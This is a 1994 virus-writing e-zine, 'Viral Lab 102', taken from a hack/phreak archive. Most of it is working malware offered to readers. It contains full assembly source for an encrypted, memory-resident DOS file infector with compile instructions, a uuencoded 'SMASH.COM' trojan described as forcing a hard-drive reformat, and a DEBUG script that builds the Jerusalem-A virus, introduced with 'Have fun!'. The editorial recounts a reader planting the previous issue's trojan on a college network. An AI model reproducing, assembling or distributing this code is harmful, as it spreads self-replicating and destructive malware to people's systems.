home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / VLAB102.ZIP / vlab102.txt
Text File  |  1994-05-12  |  20KB  |  539 lines

  1. Viral Lab 102
  2. May 1994
  3.  
  4. CONTENTS:
  5.  
  6. Editorial
  7. VIRAL LAB 102's VIRUS #1 SOURCE
  8. SMASH.COM Trojan Horse of the month
  9. Afterword
  10. After-Afterword:  Jerusalem-A debug script
  11.  
  12. EDITORIAL
  13. By Spear
  14.  
  15. Well, here it is!  The long awaited (maybe) #2 issue of Viral Labs!  You may
  16. wonder why your name was not on the mailing list.  That's because we are going
  17. to not have a mailing list at all.  When you want it, you gotta mail here for
  18. it.  The reason for this is because when we got busted after last issue, for
  19. reasons which will be explained later in this editorial, the piggies tried to
  20. implicate some of the people that were on our mailing list.
  21.  
  22. These people's names will not be mentioned, but the mailing list was submitted
  23. as evidence in the case surrounding a group of people and their packet-sniffing
  24. project.  It was supposedly supposed to be valid proof that they were people
  25. who enjoyed reaking havoc on systems around the net.
  26.  
  27. Also, some stupid kid decided to put the trojan horse that was in the last
  28. issue onto his network in substitute for the executeable file for word-perfect.
  29. He got caught pretty fast, because of the fact that he wrote the source code
  30. and put his name in it.  He had some dumb copyright thing in it, and when
  31. the labbies at his college viewed it with a hex-editor, lo and behold!  The
  32. program is named!  Plus he bragged all about school about it and accidentally
  33. told people who didn't really care if he got kicked out of school or not.
  34. Bummer.  
  35.  
  36. The moral of this story is, only use this mag for entertainment and education
  37. purposed only!  Otherwise!  You're going to get caught.  The other moral is,
  38. if you have a e-mag, don't keep a file with people's subscriptions in it 
  39. laying around the system.
  40.  
  41. VIRAL LAB 102's VIRUS #1
  42. By Spear
  43.  
  44. ATTRIBUTES:
  45. This is a memory resident .com and .exe infector.  It is encrypted using a
  46. method much like that of DA's methods of encryption.  The maximum size of
  47. this virus is 1000 bytes, which is fairly tiny.  This virus only spreads,
  48. there are no trojan horses in it in order to keep it small.  It is of the
  49. tiny class of virii that P/S creates often.  Everytime a file containing
  50. this virus is executed, it infects 10 other files on the system.  Infects
  51. command.com as well.  
  52.  
  53. Compile using TASM in non-case sensitive mode.
  54.  
  55. ;Viral Lab 102 Virus of the Month Source code.              
  56.  
  57. checkres1       =       'DA'
  58. checkres2       =       'PS'
  59. id              =       'DA'
  60.                 
  61.         .model  tiny
  62.         .code   
  63.         org     0000h
  64.                 
  65. start:
  66. ENCRYPT:
  67. patchstart:
  68.         mov     bx, offset endencrypt
  69.         mov     cx, (heap-endencrypt)/2+1
  70. encrypt_loop:
  71.         db      002Eh                   ; cs:
  72.         db      0081h                   ; add word ptr [bx], xxxx
  73. xorpatch        db      0007h
  74. encryptvalue    dw      0000h
  75.         add     bx, 0002h
  76.         loop    encrypt_loop
  77. endencrypt:
  78.         call    next
  79. next:
  80.         pop     bp
  81.         sub     bp, offset next
  82.                 
  83.         push    es
  84.         push    ds
  85.                 
  86.         mov     ax, checkres1           ; Installation check
  87.         int     0021h
  88.         cmp     ax, checkres2           ; Already installed?
  89.         jz      done_install
  90.                 
  91.         mov     ax, ds
  92.         dec     ax
  93.         mov     ds, ax
  94.         sub     word ptr ds:[0003h], ((endheap-start+1023)/1024)*64
  95.         sub     word ptr ds:[0012h], ((endheap-start+1023)/1024)*64
  96.         mov     es, word ptr ds:[0012h]
  97.                 
  98.         push    cs
  99.         pop     ds
  100.         xor     di, di
  101.         mov     cx, (heap-start)/2+1    ; Bytes to move
  102.         mov     si, bp                  ; lea  si,[bp+offset start]
  103.         rep     movsw   
  104.                 
  105.         xor     ax, ax
  106.         mov     ds, ax
  107.         sub     word ptr ds:[0413h], (endheap-start+1023)/1024
  108.         push    ds
  109.         lds     ax, ds:[21h*4]          ; Get old int handler
  110.         mov     word ptr es:oldint21, ax
  111.         mov     word ptr es:oldint21+2, ds
  112.         pop     ds
  113.         mov     word ptr ds:[21h*4], offset int21 ; Replace with new handler
  114.         mov     ds:[21h*4+2], es        ; in high memory
  115.                 
  116. done_install:
  117.         pop     es
  118.         pop     ds
  119.         cmp     sp, id
  120.         je      restore_EXE
  121. restore_COM:
  122.         mov     di, 0100h
  123.         push    di
  124.         lea     si, [bp+offset old3]
  125.         movsw   
  126.         movsb   
  127.         ret     
  128.                 
  129. restore_EXE:
  130.         mov     ax, ds
  131.         add     ax, 0010h
  132.         add     cs:[bp+word ptr origCSIP+2], ax
  133.         add     ax, cs:[bp+word ptr origSPSS]
  134.         cli     
  135.         mov     ss, ax
  136.         mov     sp, cs:[bp+word ptr origSPSS+2]
  137.         sti     
  138.         db      00EAh
  139. origCSIP        db      ?
  140. old3            db      0cdh,20h,0
  141. origSPSS        dd      ?
  142.                 
  143. int21:
  144.         push    ax
  145.         push    bx
  146.         push    cx
  147.         push    dx
  148.         push    si
  149.         push    di
  150.         push    ds
  151.         push    es
  152.                 
  153.         cmp     ax, 4B00h               ; execute?
  154.         jz      execute
  155. return:
  156.         jmp     exitint21
  157. execute:
  158.         mov     word ptr cs:filename, dx
  159.         mov     word ptr cs:filename+2, ds
  160.         mov     ax, 4300h
  161.         lds     dx, cs:filename
  162.         int     0021h
  163.         jc      return
  164.         push    cx
  165.         push    ds
  166.         push    dx
  167.                 
  168.         mov     ax, 4301h               ; clear file attributes
  169.         push    ax                      ; save for later use
  170.         xor     cx, cx
  171.         int     0021h
  172.                 
  173.         mov     ax, 3D02h
  174.         lds     dx, cs:filename
  175.         int     0021h
  176.         xchg    ax, bx
  177.                 
  178.         push    cs
  179.         pop     ds
  180.                 
  181.         push    cs
  182.         pop     es
  183.                 
  184.         mov     ax, 5700h               ; get file time/date
  185.         int     0021h
  186.         push    cx
  187.         push    dx
  188.                 
  189.         mov     cx, 001Ah
  190.         mov     dx, offset readbuffer
  191.         mov     ah, 003Fh
  192.         int     0021h
  193.                 
  194.         mov     ax, 4202h
  195.         xor     cx, cx
  196.         xor     dx, dx
  197.         int     0021h
  198.                 
  199.         cmp     word ptr [offset readbuffer], 'ZM'
  200.         jz      checkEXE
  201.                 
  202.         mov     cx, word ptr [offset readbuffer+1] ; jmp location
  203.         add     cx, heap-start+3        ; convert to filesize
  204.         cmp     ax, cx                  ; equal if already infected
  205.         jz      jmp_close
  206.                 
  207.         cmp     ax, 03E8h            ; check if too large
  208.         ja      jmp_close               ; Exit if so
  209.                 
  210.         mov     di, offset old3
  211.         mov     si, offset readbuffer
  212.         movsb   
  213.         movsw   
  214.                 
  215.         mov     si, ax                  ; save entry point
  216.         add     si, 0100h
  217.         mov     cx, 0003h
  218.         sub     ax, cx
  219.         mov     word ptr [offset readbuffer+1], ax
  220.         mov     dl, 00E9h
  221.         mov     byte ptr [offset readbuffer], dl
  222.         jmp     short continue_infect
  223. checkEXE:
  224.         cmp     word ptr [offset readbuffer+10h], id
  225.         jnz     skipp
  226. jmp_close:
  227.         jmp     close
  228. skipp:
  229.                 
  230.         lea     di, origCSIP
  231.         lea     si, readbuffer+14h
  232.         movsw                           ; Save original CS and IP
  233.         movsw   
  234.                 
  235.         sub     si, 000Ah
  236.         movsw                           ; Save original SS and SP
  237.         movsw   
  238.                 
  239.         push    bx                      ; save file handle
  240.         mov     bx, word ptr [readbuffer+8] ; Header size in paragraphs
  241.         mov     cl, 0004h
  242.         shl     bx, cl
  243.                 
  244.         push    dx                      ; Save file size on the
  245.         push    ax                      ; stack
  246.                 
  247.         sub     ax, bx                  ; File size - Header size
  248.         sbb     dx, 0000h               ; DX:AX - BX -> DX:AX
  249.                 
  250.         mov     cx, 0010h
  251.         div     cx                      ; DX:AX/CX = AX Remainder DX
  252.                 
  253.         mov     word ptr [readbuffer+14h], dx ; IP Offset
  254.         mov     word ptr [readbuffer+10h], id ; Initial SP
  255.         mov     word ptr [readbuffer+0Eh], ax ; Para disp stack segment
  256.         mov     word ptr [readbuffer+16h], ax ; Para disp CS in module.
  257.                 
  258.         mov     si, dx                  ; save entry point
  259.         pop     ax                      ; Filelength in DX:AX
  260.         pop     dx
  261.                 
  262.         add     ax, heap-start
  263.         adc     dx, 0000h
  264.                 
  265.         mov     cl, 0009h
  266.         push    ax
  267.         shr     ax, cl
  268.         ror     dx, cl
  269.         stc     
  270.         adc     dx, ax
  271.         pop     ax
  272.         and     ah, 0001h
  273.                 
  274.         mov     word ptr [readbuffer+2], ax ; the EXE header.
  275.         mov     word ptr [readbuffer+4], dx ; Fix-up the file size in
  276.                 
  277.         pop     bx                      ; restore file handle
  278.         mov     cx, 001Ah
  279.                 
  280. continue_infect:
  281.         push    cx                      ; save # bytes to write
  282.                 
  283.         mov     ah, 002Ch               ; Get current time
  284.         int     0021h
  285.                 
  286.         add     si, (offset endencrypt-offset encrypt)
  287.         mov     word ptr ds:[patchstart+1], si
  288.         mov     word ptr ds:[encryptvalue], dx
  289.                 
  290.         mov     di, offset encryptbuffer
  291.         mov     si, offset ENCRYPT
  292.         mov     cx, (heap-encrypt)/2
  293.         push    si
  294.         rep     movsw                   ; copy virus to buffer
  295.                 
  296.         mov     ax, offset endencrypt-encrypt+encryptbuffer
  297.         mov     word ptr ds:[patchstart+1], ax
  298.         pop     si
  299.         push    offset endencrypt
  300.         mov     byte ptr [offset endencrypt], 00C3h ; retn
  301.         xor     byte ptr [offset xorpatch-encrypt+encryptbuffer], 0028h
  302.         push    bx
  303.         call    si                      ; encrypt virus in buffer
  304.         pop     bx
  305.         pop     word ptr [offset endencrypt]
  306.                 
  307.         xor     byte ptr [offset xorpatch], 0028h
  308.                 
  309.         mov     ah, 0040h
  310.         mov     cx, heap-encrypt
  311.         mov     dx, offset encryptbuffer
  312.         int     0021h
  313.                 
  314.         mov     ax, 4200h
  315.         xor     cx, cx
  316.         cwd     
  317.         int     0021h
  318.                 
  319.                 
  320.         mov     dx, offset readbuffer
  321.         pop     cx
  322.         mov     ah, 0040h
  323.         int     0021h
  324.                 
  325.                 
  326. close:
  327.         mov     ax, 5701h               ; restore file time/date
  328.         pop     dx
  329.         pop     cx
  330.         int     0021h
  331.                 
  332.         mov     ah, 003Eh
  333.         int     0021h
  334.                 
  335.         pop     ax                      ; restore file attributes
  336.         pop     dx                      ; get filename and
  337.         pop     ds
  338.         pop     cx                      ; attributes from stack
  339.         int     0021h
  340.                 
  341. exitint21:
  342.         pop     es
  343.         pop     ds
  344.         pop     di
  345.         pop     si
  346.         pop     dx
  347.         pop     cx
  348.         pop     bx
  349.         pop     ax
  350.                 
  351.         db      00EAh                   ; return to original handler
  352. oldint21        dd      ?
  353.                 
  354. heap:
  355. encryptbuffer   db      (heap-encrypt)+1 dup (?)
  356. filename        dd      ?
  357. readbuffer      db      1ah dup (?)
  358. endheap:
  359.         end     start
  360.  
  361.  
  362.  
  363. TROJAN HORSE OF THE MONTH:
  364.  
  365. This trojan takes all the files in the \dos directory and copies them as
  366. files, which totally ruins the file structure of the system.  In order to
  367. fix this, a person will have to format his hard-drive because DOS commands
  368. are rendered inexecutable and you cannot remove the directories they are
  369. in.  They are invalid directories, and no matter what is done, a person 
  370. who is inflicted with this puppy cannot remove the directories or get rid of
  371. them without using norton utilities to fix the invalid chains.
  372.  
  373. In order to get the file out of this puppy, in your unix account, type
  374.  
  375. uudecode <filename> 
  376. after clipping here...
  377.  
  378. -------clip clip clip---------------------------------------
  379. begin 644 smash.com
  380. MZ:,`&BHN*@`J`%P`````````````````````````````````````````````
  381. M````````````````````````````````````````````````````````````
  382. M````````````````````````````````````````````````````````````
  383. M`````````````````````````````````````````+]J`KYJ`KD)`/RL-)*J
  384. M2>,"Z_>Z3`&T<AM!G-(8K0_L*T1[X,`<TAN@H!M#O-(;D3`+H(`;1.S2%R
  385. M;>D'`+1/N@@!Z_*Z:@&T.\TAM"_-(8P&H@&)'J0!S2&Z=P&T<AN0<`N@0!
  386. MM$[-(7(FN`%#,\FZE0'-(7(OM#S-(7(IB]AR$+1!S2&T/LTAM#G-(;1/Z]:T
  387. M&HX>H@&+%J0!S2&Z"@&T.\TAZY:T.[H*`<TAM#FZ:@+-(7(`N@P!M#O-(;1,
  388. MS2'!^?OA_[QMLFT`&AH:&AH:&AH:&AH:&AH:&AH:&AH:&AH:&AH:&DUS1&]S
  389. M````````````````````````````````````````````````````````````
  390. M````````````````````````````````````````````````````````````
  391. 1````````````````````````
  392. `
  393. end
  394. -------clip clip clip----------------------------------------
  395.  
  396.  
  397. AFTERWORD
  398. BY SPEAR
  399.  
  400. Well, this is the end.  When the other writers of this mag come back, maybe
  401. it will start to grow longer, but until then, I guess you're outa luck.
  402.  
  403. Also, if you want a copy of this, email an73361@anon.penet.fi
  404.  
  405. If you want to contribute anything to this anonymously or not, send to the
  406. same address!  Thanks!
  407.  
  408. AFTER-AFTERWORD
  409.  
  410. Here's the debug script for the jerusalm-a virus!  Have fun!
  411.  
  412. To compile it, clip this one at the dotted line and save it as jeru-a.src
  413.  
  414. Then type debug <jeru-a.src from the dos prompt.
  415.  
  416. This virus copies itself rather quickly, and is memory resident.
  417.  
  418. ----------CLIP-----------------------------------------
  419. n jeru-a.com
  420. e 0100  E9 92 00 DA AA A3 AA D4 3A A3 00 01 23 31 00 00
  421. e 0110  00 02 00 04 01 64 30 A0 06 55 2E 56 05 9F 19 A5
  422. e 0120  3E 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 06
  423. e 0130  0E 97 30 80 00 00 00 80 00 97 30 5C 00 97 30 6C
  424. e 0140  00 97 30 00 40 46 63 F4 1D D0 5C 00 00 46 00 4D
  425. e 0150  5A A0 01 39 00 B4 02 AF 00 7C 04 7C A4 FA 05 10
  426. e 0160  07 84 19 C5 00 FA 05 1C 00 00 00 00 00 00 00 00
  427. e 0170  05 00 20 00 21 00 28 02 00 02 10 00 90 6A 00 00
  428. e 0180  B9 41 2A 97 4C 4F 52 44 20 53 4B 49 53 4D 20 01
  429. e 0190  00 00 00 00 00 FC B4 E0 CD 21 3D 00 E0 73 16 80
  430. e 01A0  FC 03 72 11 BF 00 01 B4 DD BE 10 07 03 F7 2E 8B
  431. e 01B0  8D 11 00 CD 21 8C C8 04 10 00 8E D0 BC 00 07 50
  432. e 01C0  B8 C5 00 50 CB 06 FC 2E 8C 06 31 00 2E 8C 06 39
  433. e 01D0  00 2E 8C 06 3D 00 2E 8C 06 41 00 8C C0 05 10 00
  434. e 01E0  2E 01 06 49 00 2E 01 06 45 00 B4 E0 CD 21 80 FC
  435. e 01F0  E0 73 13 80 FC 03 07 2E 8E 16 45 00 2E 8B 26 43
  436. e 0200  00 2E FF 2E 47 00 33 C0 8E C0 8B 89 31 DB 2E A3
  437. e 0210  4B 00 26 A0 FE 03 2E A2 4D 00 26 C7 06 FC 03 F3
  438. e 0220  A5 26 C6 06 FE 03 CB 58 04 10 90 8E C0 0E 1F B9
  439. e 0230  00 03 B1 88 33 F6 8B FE 06 B8 42 01 50 EA FC 03
  440. e 0240  00 00 8C C8 8E D0 BC 00 07 33 C0 8E D8 2E A1 4B
  441. e 0250  00 A3 FC 03 2E A0 4D 00 A2 FE 03 8B DC B1 04 D3
  442. e 0260  EB 83 C3 10 2E 89 1E 33 00 B4 4A 2E 8E 06 31 00
  443. e 0270  CD 21 B8 21 35 CD 21 2E 89 1E 17 00 2E 8C 06 19
  444. e 0280  00 0E 1F BA 5B 02 B8 21 25 CD 21 8E 06 31 00 26
  445. e 0290  8E 06 2C 00 33 FF B9 FF 7F 32 C0 F2 AE 26 38 05
  446. e 02A0  E0 F9 8B D7 83 C2 03 B8 00 4B 06 1F 0E 07 BB 35
  447. e 02B0  00 52 51 53 50 06 1E B4 2A CD 21 2E C6 06 0E 00
  448. e 02C0  00 81 F9 C6 07 74 30 3C 05 75 0D 80 FA 17 72 08
  449. e 02D0  2E FE 06 0E 00 EB 20 90 B8 08 35 CD 21 2E 89 1E
  450. e 02E0  13 00 2E 8C 06 15 00 0E 1F C7 06 1F 00 48 3F B8
  451. e 02F0  08 25 BA 1E 02 CD 21 1F 07 58 5B 59 5A 9C 2E FF
  452. e 0300  1E 17 00 1E 07 B4 49 CD 21 B4 4D CD 21 B4 31 BA
  453. e 0310  00 06 B1 04 D3 EA 83 C2 10 CD 21 32 C0 CF 2E 83
  454. e 0320  3E 1F 00 09 75 17 52 51 50 B4 2A CD 21 81 FA 06
  455. e 0330  06 75 07 B8 01 07 B2 80 CD 13 58 59 5A 2E 83 2E
  456. e 0340  1F 00 01 EB 11 20 20 53 75 62 2D 5A 65 72 6F 20
  457. e 0350  4E 59 48 43 20 20 2E FF 2E 13 00 9C 80 FC E0 75
  458. e 0360  05 B8 00 03 9D CF 80 FC DE 74 2D 80 FC DD 74 0E
  459. e 0370  3D 00 4B 75 03 E9 B4 00 9D 2E FF 2E 17 00 58 58
  460. e 0380  B8 00 01 2E A3 0A 00 58 2E A3 0C 00 F3 A4 9D 2E
  461. e 0390  A1 0F 00 2E FF 2E 0A 00 83 C4 06 9D 8C C8 8E D0
  462. e 03A0  BC 10 07 06 06 33 FF 0E 07 B9 10 00 8B F3 BF 21
  463. e 03B0  00 F3 A4 8C D8 8E C0 2E F7 26 7A 00 2E 03 06 2B
  464. e 03C0  00 83 D2 00 2E F7 36 7A 00 8E D8 8B F2 8B FA 8C
  465. e 03D0  C5 2E 8B 1E 2F 00 0B DB 74 13 B9 00 80 F3 A5 05
  466. e 03E0  00 10 81 C5 00 10 8E D8 8E C5 4B 75 ED 2E 8B 0E
  467. e 03F0  2D 00 F3 A4 58 50 05 10 00 2E 01 06 29 00 2E 01
  468. e 0400  06 25 00 2E A1 21 00 1F 07 2E 8E 16 29 00 2E 8B
  469. e 0410  26 27 00 2E FF 2E 23 00 33 C9 B8 01 43 CD 21 B4
  470. e 0420  3C CD 21 B8 00 4B 9D 2E FF 2E 17 00 2E 80 3E 0E
  471. e 0430  00 01 74 E4 2E C7 06 70 00 FF FF 2E C7 06 8F 00
  472. e 0440  00 00 2E 89 16 80 00 2E 8C 1E 82 00 50 53 51 52
  473. e 0450  56 57 1E 06 FC 8B FA 32 D2 80 7D 01 3A 75 05 8A
  474. e 0460  15 80 E2 1F B4 36 CD 21 3D FF FF 75 03 E9 77 02
  475. e 0470  F7 E3 F7 E1 0B D2 75 05 3D 10 07 72 F0 2E 8B 16
  476. e 0480  80 00 1E 07 32 C0 B9 41 00 F2 AE 2E 8B 36 80 00
  477. e 0490  8A 04 0A C0 74 0E 3C 61 72 07 3C 7A 77 03 80 2C
  478. e 04A0  20 46 EB EC B9 0B 00 2B F1 BF 84 00 0E 07 B9 0B
  479. e 04B0  00 F3 A6 75 03 E9 2F 02 B8 00 43 CD 21 72 05 2E
  480. e 04C0  89 0E 72 00 72 25 32 C0 2E A2 4E 00 1E 07 8B FA
  481. e 04D0  B9 41 00 F2 AE 80 7D FE 4D 74 0B 80 7D FE 6D 74
  482. e 04E0  05 2E FE 06 4E 00 B8 00 3D CD 21 72 5A 2E A3 70
  483. e 04F0  00 8B D8 B8 02 42 B9 FF FF BA FB FF CD 21 72 EB
  484. e 0500  05 05 00 2E A3 11 00 B9 05 00 BA 6B 00 8C C8 8E
  485. e 0510  D8 8E C0 B4 3F CD 21 8B FA BE 05 00 F3 A6 75 07
  486. e 0520  B4 3E CD 21 E9 C0 01 B8 24 35 CD 21 89 1E 1B 00
  487. e 0530  8C 06 1D 00 BA 1B 02 B8 24 25 CD 21 C5 16 80 00
  488. e 0540  33 C9 B8 01 43 CD 21 72 3B 2E 8B 1E 70 00 B4 3E
  489. e 0550  CD 21 2E C7 06 70 00 FF FF B8 02 3D CD 21 72 24
  490. e 0560  2E A3 70 00 8C C8 8E D8 8E C0 8B 1E 70 00 B8 00
  491. e 0570  57 CD 21 89 16 74 00 89 0E 76 00 B8 00 42 33 C9
  492. e 0580  8B D1 CD 21 72 3D 80 3E 4E 00 00 74 03 EB 57 90
  493. e 0590  BB 00 10 B4 48 CD 21 73 0B B4 3E 8B 1E 70 00 CD
  494. e 05A0  21 E9 43 01 FF 06 8F 00 8E C0 33 F6 8B FE B9 10
  495. e 05B0  07 F3 A4 8B D7 8B 0E 11 00 8B 1E 70 00 06 1F B4
  496. e 05C0  3F CD 21 72 1C 03 F9 33 C9 8B D1 B8 00 42 CD 21
  497. e 05D0  BE 05 00 B9 05 00 F3 2E A4 8B CF 33 D2 B4 40 CD
  498. e 05E0  21 72 0D E9 BC 00 B9 1C 00 BA 4F 00 B4 3F CD 21
  499. e 05F0  72 4A C7 06 61 00 84 19 A1 5D 00 A3 45 00 A1 5F
  500. e 0600  00 A3 43 00 A1 63 00 A3 47 00 A1 65 00 A3 49 00
  501. e 0610  A1 53 00 83 3E 51 00 00 74 01 48 F7 26 78 00 03
  502. e 0620  06 51 00 83 D2 00 05 0F 00 83 D2 00 25 F0 FF A3
  503. e 0630  7C 00 89 16 7E 00 05 10 07 83 D2 00 72 3A F7 36
  504. e 0640  78 00 0B D2 74 01 40 A3 53 00 89 16 51 00 A1 7C
  505. e 0650  00 8B 16 7E 00 F7 36 7A 00 2B 06 57 00 A3 65 00
  506. e 0660  C7 06 63 00 C5 00 A3 5D 00 C7 06 5F 00 10 07 33
  507. e 0670  C9 8B D1 B8 00 42 CD 21 72 0A B9 1C 00 BA 4F 00
  508. e 0680  B4 40 CD 21 72 11 3B C1 75 18 8B 16 7C 00 8B 0E
  509. e 0690  7E 00 B8 00 42 CD 21 72 09 33 D2 B9 10 07 B4 40
  510. e 06A0  CD 21 2E 83 3E 8F 00 00 74 04 B4 49 CD 21 2E 83
  511. e 06B0  3E 70 00 FF 74 31 2E 8B 1E 70 00 2E 8B 16 74 00
  512. e 06C0  2E 8B 0E 76 00 B8 01 57 CD 21 B4 3E CD 21 2E C5
  513. e 06D0  16 80 00 2E 8B 0E 72 00 B8 01 43 CD 21 2E C5 16
  514. e 06E0  1B 00 B8 24 25 CD 21 07 1F 5F 5E 5A 59 5B 58 9D
  515. e 06F0  2E FF 2E 17 00 00 00 00 00 00 00 00 00 00 00 00
  516. e 0700  4D 9F 19 00 10 00 00 00 45 44 00 45 4C 00 00 00
  517. e 0710  E9 92 00 DA AA A3 AA D4 3A A3 00 01 23 31 00 00
  518. e 0720  00 02 00 04 01 64 30 A0 06 55 2E 56 05 9F 19 A5
  519. e 0730  3E 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 06
  520. e 0740  0E 97 30 80 00 00 00 80 00 97 30 5C 00 97 30 6C
  521. e 0750  00 97 30 00 40 46 63 F4 1D D0 5C 00 00 46 00 4D
  522. e 0760  5A A0 01 39 00 B4 02 AF 00 7C 04 7C A4 FA 05 10
  523. e 0770  07 84 19 C5 00 FA 05 1C 00 00 00 00 00 00 00 00
  524. e 0780  05 00 20 00 21 00 28 02 00 02 10 00 90 6A 00 00
  525. e 0790  B9 41 2A 97 4C 4F 52 44 20 53 4B 49 53 4D 20 01
  526. e 07A0  00 00 00 00 00 FC B4 E0 CD 21 3D 00 E0 73 16 80
  527. e 07B0  FC 03 72 11 BF 00 01 B4 DD BE 10 07 03 F7 2E 8B
  528. e 07C0  8D 11 00 CD 21 8C C8 04 10 00 8E D0 BC 00 07 50
  529. e 07D0  B8 C5 00 50 CB 06 FC 2E 8C 06 31 00 2E 8C 06 39
  530. e 07E0  00 2E 8C 06 3D 00 2E 8C 06 41 00 8C C0 05 10 00
  531. e 07F0  2E 01 06 49 00 2E 01 06 45 00 B4 E0 CD 21 80 FC
  532. e 0800  E0 73 13 80 FC 03 07 2E 8E 16 45 00 2E 8B 26 43
  533. e 0810  CD 20 A3 AA D4 3A A3 1A 1A 1A 1A 1A 1A 1A 1A 1A
  534.  
  535. rcx
  536. 717
  537. w
  538. q
  539.